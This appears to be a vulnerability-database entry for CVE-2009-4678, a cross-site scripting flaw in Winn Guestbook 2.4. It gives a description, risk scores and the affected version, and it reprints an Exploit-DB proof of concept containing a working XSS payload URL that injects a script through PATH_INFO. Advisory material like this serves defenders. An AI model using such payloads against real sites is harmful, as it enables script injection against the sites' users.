CVE-2009-4678

medium

Published 2010-03-08 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

5.3

Description

Cross-site scripting (XSS) vulnerability in index.php in Winn Guestbook 2.4 allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-10653 webapps php verified text · 1 KB

indoushka · 2009-12-25

Winn Guestbook 2.4 / Winn.ws - Cross-Site Scripting

text exploit Source: Exploit-DB

========================================================================================                  
| # Title    : © Winn Guestbook V2.4, Winn.ws Cross Site Scripting Vulnerability       |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria -(00213771818860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   :  © Winn Guestbook V2.4, Winn.ws                                         |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
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| 1- http://127.0.0.1/Winn-Guestbook[php]/index.php/>"><ScRiPt>alert(213771818860)</ScRiPt>
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================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
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Application impact

Vendor	Product	Versions	Fixed
winn	winn_guestbook	`2.4`

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.